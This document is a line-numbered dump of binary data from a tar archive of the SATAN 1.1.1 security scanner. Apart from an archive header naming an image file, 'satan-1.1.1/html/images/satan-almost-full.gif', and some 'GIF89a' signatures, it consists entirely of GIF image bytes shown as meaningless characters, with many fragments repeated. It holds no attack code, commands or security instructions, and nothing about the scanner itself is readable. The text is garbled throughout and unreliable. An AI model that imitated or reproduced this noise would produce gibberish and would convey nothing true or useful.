  7622. ╬÷╓╓▐≈╬£╓╓╓k╡ss£ΣcΣîîÑΣZÑΣc╡{{îîîîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7623. ╬£∩╬╬╬▐▐╓╓╓k╡ss£ΣcΣîîÑΣZÑΣc╡{{îîîîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7624. ╓£∩╬╬╬▐▐╓╓╓k╡ss£ΣcΣîîÑΣZÑΣc╡{{îîîîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7625. ╓Ñ▐▐τ▐▐▐╬ττk╡ss£ΣcΣîîÑΣZÑΣc╡{{îîîîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7626. ▐¡▐ττ≈▐▐╓∩∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7627. ∩∩∩≈≈≈≈≈≈≈∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7628. ∩∩∩≈≈≈≈≈≈≈∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7629. ≈≈∩≈≈≈≈≈≈≈∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7630. ≈≈∩≈≈≈≈≈≈≈∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7631. ≈≈∩≈≈≈≈≈≈≈∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7632. ≈≈∩≈≈≈≈≈≈≈∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7633. ≈≈∩≈≈≈≈≈≈≈∩ττ∩τττ≈τττ∩∩∩∩∩∩∩≈τ≈≈îîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7634. !∙....╒.,....y.p.....½..H░á┴â..*\╚░í├ç.#JΣê«¥Et.3j▄╚.!╞Mxê╠ÿüτ.╞─(S¬4ê▒îîæ0g╚@ΓkÑ═¢.╤∙·≥2ªO.U┬ß.J÷σ0ù>ô┬.Rφd╤º)├╡½µG⌐╒ÿ~ÜB▌:Qj5P<z^.;úîV«h.ó.τKR.▒cq╚┼qU.¢│i╙N╡─≤*..3TΦ.¼.╟..àτ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7635. ..Lwd.Zy╖b<.6.α..2kní.└......=║─\╣a".Ew¬
  7636. \ÑrKX.0(ì╛╕s╫+%.
  7637. 38u.QA..Çê...¿└1K¿Ω÷Φnë$;.ç...J╜╦═╜╗w▄÷...kΣ.@ü..¬═c≈£#₧╫W]..⌠╜╛.ε┬▐i╢1.X.ë<P7Æu.⌠r▀ü..ô..-.α▀...ôa╥$hßüW..aC╛└τù.6\(b}╓═│ßB.J8Æ.±îΦ"w║.á╦8'.Σ╬.*─$├./v╟─ê╓=Xπ@Φ.ÆúL2d╙#w.<s!...YÉ+.─⌡╥Æ▄┼.Ç..fFú÷..ëΣ+Xr.Ç"mΣwá..Σ.&:F.Θé..▓ú.n╓╠│.w╔.2╔<.Çgƒ.Wÿ(Ñ/UZy╚à~v.L.6.
  7638. ├¥..QA..Çê...¿└1K¿Ω÷Φnë$;.ç...J╜╦═╜╗w▄÷...kΣ.@ü..¬═c≈£#₧╫W]..⌠╜╛.ε┬▐i╢1.X.ë<P7Æu.⌠r▀ü..ô..-.α▀...ôa╥$hßüW..aC╛└τù.6\(b}╓═│ßB.J8Æ.±îΦ"w║.á╦8'.Σ╬.*─$├./v╟─ê╓=Xπ@Φ.ÆúL2d╙#w.<s!...YÉ+.─⌡╥Æ▄┼.Ç..fFú÷..ëΣ+Xr.Ç"mΣwá..Σ.&:F.Θé..▓ú.n╓╠│.w╔.2╔<.Çgƒ.Wÿ(Ñ/UZy╚à~v.L.6.
  7639. ê≡╧8C..@7⌡i╓
  7640. ÿ)╩┘▌8{╓gâ.yd2..W.3╧=.6d≥..╕A≡O..╘'┬.∞╒ê─%b╛DGw.$≤],└.╨╦.cÇ.└.fP`B$╚Σ!┬?▒┤±...|W
  7641. .í⌠ZúÿH₧├.0.╠├]&┼σ ┼╗╣82E+▐Xc═5ndv┬..d@└..─Γ]fNê.!:_É+..▌eBF.╣e╢.%▄\c═4╤d∞╠2╞.╙╠4═8ô╦.ªΣ.@q▓vw@f..ôa╥$hßüW..aC╛└τù.6\(b}╓═│ßB.J8Æ.±îΦ"w║.á╦8'.Σ╬.*─$├./v╟─ê╓=Xπ@Φ.ÆúL2d╙#w.<s!...YÉ+.─⌡╥Æ▄┼.Ç..fFú÷..ëΣ+Xr.Ç"mΣwá..Σ.&:F.Θé..▓ú.n╓╠│.w╔.2╔<.Çgƒ.Wÿ(Ñ/UZy╚à~v.L.6.
  7642. .
  7643. ╣2)ô█8▌.áA2-h.└.▐x3ì3..-t╨╦Σ£±5\..Ç║▄=ô╓÷0╦÷█>╢╢└─.7.P╦5╙|2J╧▐p≤≤╨d/3ì9┐d.
  7644. w╕Æß+"0╦áInèp·╠.-╝`╢.3╫╚┴Df..áD0@ô▌▒3╙îrσ..h╞⌠?╓.║a╘2p.╦.╣aó═╞╙└p.4╣╔S─.E..t. Tê█8.ñÆ[f'ó├F▄ssg..d.gì1╤╘Æ┴w╗PR°╨╤0 ïw≤.0╬?Z.á.Σß╕.⌡....╠.╦╦8'.Σ╬.*─$├./v╟─ê╓=Xπ@Φ.ÆúL2d╙#w.<s!...YÉ+.─⌡╥Æ▄┼.Ç..fFú÷..ëΣ+Xr.Ç"mΣwá..Σ.&:F.Θé..▓ú.n╓╠│.w╔.2╔<.Çgƒ.Wÿ(Ñ/UZy╚à~v.L.6.
  7645. c╧8≤p0
  7646. ╟.¿é..V@.Ç4⌡H┴M3BG├ì9?Σ╢.wô╚
  7647. HfÆ?w.σ}αô┘..H...æ
  7648. k8├.Npé.£α.'8┴.Npé.£α.'8┴.Npé.£α.'8┴.rα..£α...Γ.d╚î".â─8),.ß.┬..qÇ..â.u╚î.£└&═°≡ç.@.".£αΣ..c...D{┬▒..)Φ.ì.┴?σáê<d(3NΦí.╖╕┼-░)7.╨┼ª'â|..48Bf÷æîR°╨.ZΣ".£Éë;l...p.¢r..]┤...├G."α─;.c.╓yA.4πΣ8.æ.Fú÷..ëΣ+Xr.Ç"mΣwá..Σ.&:F.Θé..▓ú.n╓╠│.w╔.2╔<.Çgƒ.Wÿ(Ñ/UZy╚à~v.L.6.
  7649. pé.á!._d┬.─╘î.╪Σ¢I.áe\Aç._..Q└`.Bê..╨╨â(╘ 3N¿F&}ÿëXî╨.µêB-2æëL.q.N`╙?&.Ç!¿..Uí.*░┴îN╚ü.j°Σ.─q
  7650. sDü.╓.D&f.ÇP╚╩.z°.7j@.08!.╓╨E,\≈┼X8üM└.Ç.╪ôî/Iµ.╙.ô╔?ñ..gVé.╡ê┬5xgσ;$.."êΣ.2æ..Ω".Cÿç="░éi\..░pâ!£.ê=Σí
  7651. Np┬1╪⌠.6┘C .╚.(çB%2≥B..p┬%╨0ì.¿├.╝¢╞4╝....á.X.Ç.2æ.`Φ".πá╞>.░.o n.╡≡F.Xáσ╠.┬ç.°Gσ÷!É╠ΣaÑ+AGK≤∙┼w\ß.╨¿Ç7.Ç..0é.òXàN{.D@─"."╚..|ª1gDCºîPC
  7652. óαC.L...╚+....EÇ.%ßáEó$$.s...╔°..ܱë
  7653. ╘`..°..2÷ëî.é.BTG╧
  7654. ┴àZ.Cd.¢.╞╜«.
  7655. ÷E#..°Gâ£.ï....p┬c9▓┐|╩ .«J!n.íΣoÉâ..╚L+ªa..\πcq.┬"}¿.HDßóσê.∩Æ`.N,âcB3..p≤úy╪α.W.
  7656. :BE9xtg.)d@%nü.+Σì░▐≡X4«ß
  7657. s.8l▐...╝±ïk.m.ª .!8!▐íM├..╚ì..íΣoÉâ..╚L+ªa..\πcq.┬"}¿.HDßóσê.∩Æ`.N,âcB3..p≤úy╪α.W.
  7658. ..2▄$./╦º..ò.'ñ".í..;▐íM├..╚ì..íΣoÉâ..╚L+ªa..\πcq.┬"}¿.HDßóσê.∩Æ`.N,âcB3..p≤úy╪α.W.
  7659. ┴.1.#m.≡σß:.
  7660. S.┬.É.Σ).÷
  7661. .h!.=؝К.
  7662. s.└ê╧h├.∞Q
  7663. .┤!)╔º─Φ±.]8)7.╕┴.*É..Xâ}C.╪4BÉ.9.α.6Φé.Ü.Çé.(└.`ª±.╨└&▄d
  7664. 7.╨.¬&▒Æ.ôæL.J┼<2≤..8Γ.├..7╨.Ç.t..╣IE.÷X─1.└.╫╪X╟¼±..¼..NR..D`.'É!.⌐pB÷Pé─*Σs$.è┼?2s).(┴.▄.█..Éσ.ΘΓ.;╚E┼«aì
  7665. ╘ß.¿·G(. .]α&.d°G.÷╪.tΣS&╝.Q.Æß${╘!.>..º.$j....X.▀?D.₧q(qu└hC*Z.σë.c▓╘æA.\.èXx'.m╚▐êµ╤o~p'..HF}Ç...dó#p#δï.≡óLÉßBlJσ}┌É.7i$.ï ú-.Ω.ïL┬Iíx.n.░Γ@┼#3..⌡}╚.ü..└₧..G╚π╞ú∩╠├...├G."α─;.c.╓yA.4πΣ8.æ.Fú÷..ëΣ+Xr.Ç"mΣwá..Σ.&:F.Θé..▓ú.n╓╠│.w╔.2╔<.Çgƒ.Wÿ(Ñ/UZy╚à~v.L.6.
  7666. P─.R.Ç╡q..W╢Pf╪.ÇXX..Æ▓┼=Çæ..T..y╚∙╬┼Σ..`┬>.╚. h╘σ.qº.╓Ià╢ε3─..P.≈┘Gf4Éëñç.╧░ü.q▐Épl]L.≡B}.÷ëP¼╜>Z.@5FÑ.▄.CêNHà"Jò.#f.J÷∩─▌lÉ¢.(Bδ0....É∙▄░π≡▌(}╙.p..h└.W8..╝..#*ê.║╚═84`.▄(.7.I╞}╞!éL°░..∙╗è╓Pç.▄τaè.─.tqƒ∞U#..╓ΣéΩ.ô=Qπè⌡6pB╘.──!...m.nB≡yñ2╘..π»┼=~..╒π&..▓A2
  7667. ╝ô.E▄.Kπ.#.qo9▓.ΦP..Ç {bW÷╤ojb.▀≈FeR..0Ç°..H0.ß░
  7668. ∞..▒p.╧..N░xRº.vW..0.╓!.'8ü╣...qü$...X
  7669. π.#÷±..`..`▄..┘│..°.CΦé▌..dÉ.φÉo&╤
  7670. .╤
  7671. ▌..╢╟x
  7672. 2.-╚.÷..-0..0.╢r!÷á.╧û
  7673. 6á.π&"⌐.....U0.e░
  7674. 5.à▌0.∞É.E°..F.╣a..b.l╥.Mú.dÉ.φÉo&╤
  7675. px╣┴...... .=╘#zg"╔á~.A#â╨.░1.╩Ç.∩@3╒╨
  7676. ▒á.÷É..0.¬g.=╘#zg"╔á~.A#â╨.░1.╩Ç.∩@3╒╨
  7677. `.╣A....ÑÆ
  7678. ¿...╨.▐!.-╨..ár/..6ÿ.-.ë.æ.C..TP.J!.╓í.ô0.╚ÿ!╕r.-É.─é....║..Σx ..)Wá.╕q.Ná..ç..╨.▐Épl]L.≡B}.÷ëP¼╜>Z.@5FÑ.▄.CêNHà"Jò.#f.J÷∩─▌lÉ¢.(Bδ0....É∙▄░π≡▌(}╙.p..h└.W8..╝..#*ê.║╚═84`.▄(.7.I╞}╞!éL°░..∙╗è╓Pç.▄τaè.─.tqƒ∞U#..╓ΣéΩ.ô=Qπè⌡6pB╘.──!...m.nB≡yñ2╘..π»┼=~..╒π&..▓A2
  7679. pgX..║░."........▒Ç..≡.2≡.╖±.▒α....≤╨..á.ô..╔└.ô0.
  7680. Æ2X..║░."........▒Ç..≡.2≡.╖±.▒α....≤╨..á.ô..╔└.ô0.
  7681. ╨.>h!.└..0à.É.╕╤r="j╕≥.C@.|g.πÉ
  7682. "└....2á$▄ß(.@#╓!j±≈.N@éF╪Æ▐.
  7683. .á....2á$▄ß(.@#╓!j±≈.N@éF╪Æ▐.
  7684. .."á~ô..╓G.=!.¿p_.É.╓└.∞╨..p..Æ'.╓÷g╟)╓q.╝ó.▀ù.▄í.=ü.⌡╤
  7685. ...∞┴.dá..B─J╓÷÷`.è░.╒..╓░.╓a.▐±æ2 3▀æ..2.└É.╢ÿ.má.a╣ù«Æ.⌐Éæ.┴..p.▀±./a.≤Ç+è .∞Ç+C æ╕Q
  7686. .`.W└ù-╣'≤..▒╨..É
  7687. ¬G
  7688. .Ém≈..ô╨+∞É!6á.▐▒.┌w..i╓▀╤.lÆ.
  7689. æ
  7690. ╓æ2▄q.*p └...Çs.á.`╓.-..▀╤.lÆ.
  7691. P
  7692. 6É.▐..f.¢≈╤
  7693. ┌ùWBÆ.∞.%÷╤ô≈í%.....1.)..⌡æ.#tg═∙.6α.╬y ÷..N╨..╨..1..░.wi!÷≡..É..üÉmá.╒╪.WÉ..@é╒É.▌á.6É₧▀╤
  7694. ...╧É.╔.ƒ╓q.=ó..░j∞p.:#è.⌡æ.#tg═∙.6α.╬y ÷..N╨..╨..1..░.wi!÷≡..É..üÉmá.╒╪.WÉ..@é╒É.▌á.6É₧▀╤
  7695. ░.,╔.605ô╨.Çá...░j∞p.:#è.⌡æ.#tg═∙.6α.╬y ÷..N╨..╨..1..░.wi!÷≡..É..üÉmá.╒╪.WÉ..@é╒É.▌á.6É₧▀╤
  7696. ..÷..Fºá╕╤.dá P..⌡f.∞É.=▓.╛..[┘ ÇÉ.∞..m..╔α.dP.í≡.÷≡0,Ü.1ó.≡..É..üÉmá.╒╪.WÉ..@é╒É.▌á.6É₧▀╤
  7697. ≡}3j.╔╨.⌐É./2..á.╜Æ.╓!....W≡.Wα.▒á.▀1.C≡)║░ñ╣!j"≡..á.╝X
  7698. .á.»∙.└╨.É./2..á.╜Æ.╓!....W≡.Wα.▒á.▀1.C≡)║░ñ╣!j"≡..á.╝X
  7699. ..▒.ÿπ╨òC@./2..á.╜Æ.╓!....W≡.Wα.▒á.▀1.C≡)║░ñ╣!j"≡..á.╝X
  7700. α..▀!jg╚.∞..,╢ñ∞╨.╓ j.Γq
  7701. ..╔≡ì.≥."0.-â{╓╤.└@.D8à▌..Çp.,:..░.╧á..1.╓É
  7702. .α"Z┬g.......≡.WP.#..▒P..╩ù╓b.▀τ.-á...#.`.σë ......║É.π`..Æ."á."pà░╔ .╒╪.WÉ..@é╒É.▌á.6É₧▀╤
  7703. É.y┬.Ç╣.∞É.m.."É.ç·.╧0.12ú∞ .kC.èÇ .└É.╞ó{...≡.. .÷└.∞p..É.é▓áN..╙i.è...╥Ü
  7704. Ü.╓░ "á3╓.
  7705. ƒ┬.=╘.'4.┼│<)..║á.≤É!dp!W░ñ▌..C.èÇ .└É.╞ó{...≡.. .÷└.∞p..É.é▓áN..╙i.è...╥Ü
  7706. á..-└X.╨..┴.1...Éa,f....πp.d░.Z╥.┴j.y└ªPb.óû.d.Ñ..
  7707. ╓a..É..`Lπ.ëî╒.C..▌.▒░╔É─ó3. .╓ .Ƭ..@ç≤.
  7708. W..U{.π≡}Ig+▄▒<.≡ƒ{...`..╨.Np.╔p.O.&6X
  7709. .r..`.6╨.║└)"░ñd└Ñ∞...p.`BúÇ`+╓ÉÆ└á}.╨¼J9..░x..
  7710. .░à█.&.┴..Æ.½.▒W└..`.wZ&-á%Ç`+╓ÉÆ└á}.╨¼J9..░x..
  7711.  jZ2.m+%╓É.yá3yÉ.πÉ.
  7712. ".║α╣.╚ÑC0.ô..╕Æ▒`é.∞╨.╓í3╓.p¿.Θ.N░óJ.%⌐..óµ.sZ#⌐░..VƒFh.π..m╨
  7713. ?Σ.π[#⌐É.m..▒░.├Θé└0..É.m .P¢.£..dá.î.&.╤ ╕ú.WáyCá.dPÜ=é*W`.S╪.
  7714. `.Z.&.┴.╓É.╠╓.╧É..y.í .#2.y└ ▌µ......&.┴.ôp.Ç╨.╓Æ.╣..╓╤.║..▒╨.▒0.6 ¬≈æ
  7715. m≡.╧É
  7716. :....&...ÑB..@yπ@.╔É.└0Σ▌╨éçÜ.
  7717. "D╔.&..#.░6...≈┴..v)|≥.╓╥
  7718. " .╓..╓░.÷.....y.&)..╬...W┤«└É.Q╫
  7719. .P
  7720. "P*÷p.⌐pB╓..╢.....î.┐`┬.∞..▒á.C..╖
  7721. .@┤6ô╨.╧`.Z..╓@.ïτCÇÉ.╧É.`≥.∞æ
  7722. y└ÿ.╦.m..╧0.ô..C.
  7723. è@.W≡..p.╔É┤╓q.`≥.-0.N .í...∞æ
  7724. ╨.d.
  7725. í..íÉBmÉr└.
  7726. 7.&φ..
  7727. ..CÉB.╨ .╨C".&Có30¢.n2.>D.ÿ.&E!÷╒...╗.î..⌐α&≈.&`.&`"%...;¥╨Ü.
  7728. s.└ê╧h├.∞Q
  7729. .┤!)╔º─Φ±.]8)7satan-1.1.1/html/images/satan-almost-full.gif.......................................................   600 .   465 .   506 .       6047  5731343040  14142. ......................................................................................
  7730. .................................................................................................................................................................................................................................................................
  7731. .............GIF89a≥.v.≡.........................................................................................................................................................................................................................................
  7732. .............GIF89a≥.v.≡.........................................................................................................................................................................................................................................
  7733. .............GIF89a≥.v.≡.........................................................................................................................................................................................................................................
  7734. !∙......,....≥.v....î┼⌐╦φ.ú£┤┌ï│▐╝..σΓHûµëªΩ╩╢ε.╟≥L╫÷ìτ·╬≈...
  7735. ç─ó±êL*ù╠ª≤.ì─.╥¬⌡è╡R│\µ╢.>~├d▀v.FùwΩ╡;╫~╦i±╣▌U┐δU∙╜┐╘≈'Φ.êP8Xv¿@.╨xáªêÿ(ß╪╚hë∙¿))xûpVëyi`∙8.╔╓.jJ*. zΘ╕hÿ·.Zi
  7736. ..║█╢Z½ù)█
  7737. [╩H{.<..█<z.╠|¬╝îδ·┌█î═╝Im+l¼k╝¥Mj.ΣΩMÿ..^|[z«╛&.▐╦╬ε╓æ>».~.«X╖..·∙ïg/\╛ab.vPHîX&|╗.╓(Xφܪ.Ç╨.r.╕.úC>.?┴[σ,▀╜
  7738. "ºî$°±ñ│╓÷╪╝┤≡∩c┼{.o*ë≈ fNY.⌡1hΘ│à╨Ñ wNôh.N╥á1╖.%J«$.ñ╘Ωy.Φ*.╫⌐8ÿV╜
  7739. t¼Rû⌐Ωÿ.yÆUC▓≥.═─à/.╘Q.╘╥..iiE╕zü6`°╫&╟à4.F]`╕lbôQ¢
  7740. .î7r9.~;╔L[o»^l<;¢0╜'┘[┼
  7741. 'r#é┌≤j│Ñ.Oσ=.½4╛Fü─û═Tó╩═π~O╤<╥╡π░┤╧A4b;⌐╬╗_?m4─"·╦▄:g╓├~..≈░;.çOR╘±B╣╓ïh┐=.ùy╪ñ╧τ".╓⌡ô▐≡.╫.6)┼{█¥╥S..A.▐..ªü`e╚ê╡ ..^ß╓b4.5í}!Σß─Pδlò!âΣx°àÇ⌡╣WùOà÷╪.-G.─╫MèT┼▐ïKΣÿ┌]▐┘h ─0
  7742. ╘╧î'.╓ç.≈AτÉë5~HΣê>ráΣ.Q.y┌ôP╓┬...╡╟$U.▓Ç£...╣┼ò#z3ÑÿÇÿ┘Ñ$i┬..¢mJ╓α¢.ÿüê£ÇΘ9_0xÉ⌠%û|╢Ñ╩áü▓a¿÷i$Ü..v~╔hòæ┌BΘíΣZ┌º.┼&6)áÿriGº\ê║┬ª╥æZΩº)▐üjÇ¥¿┌j¬ƒ╞╩.¼»╬z+ª┤ª└µ«.∙z..⌠..╚.─σt.¼K2$[ªó╦j╩∞σ╞B¢½éò·.φ\╪NKO╡╓vδl.┘Γ4«.fû½%*Φε.├║÷¿ï┼╣╫╓Dí¬CB`j.εó├╥╛½.·f╛╛┘.░}.z┘╫╜N⌠J
  7743. m┬.2<¼û
  7744. 7.1╕⌠ÆÜN┼ô$<±
  7745. .ï;/╛ÆÜN┼ô$<±
  7746. û.∞┴AI<▓
  7747. aΓ⌐)╩._⌠±╖.G└"g)≈`≥£]F║σ╔╧σ∞s+6╜<40h─,¡╨.â£ΣáO╤╦4╨s«.&¿"G-uª.rK&g9_φ.╗,/├û╪*ú·5╪PK╢H┌.ù╜╡╕╛╪K«╦]+57┐d█¡ºmH╫*.╝wK╪÷╥Xol8╔V.}╕úp├q┤▌ìï.ÿ╕╟æW.3ΓP.z∙┌φ║}σ═╓.╜8▐áç48╓æ°╚╦Θq½φ╧δî╦:X╓62·4═
  7748. >7≤╒╕╦«3ÿ«ù>▀∩⌐¢-|¿(./:±╝../≡Z╙«<µû.∩.≤╒╙£L╤½_.╕─ôû(∙Σ]|?>?r.ìΣπ▒ô.}vTσæ▒.⌡╬╛╢╓{î.°╢≤ê│.╤
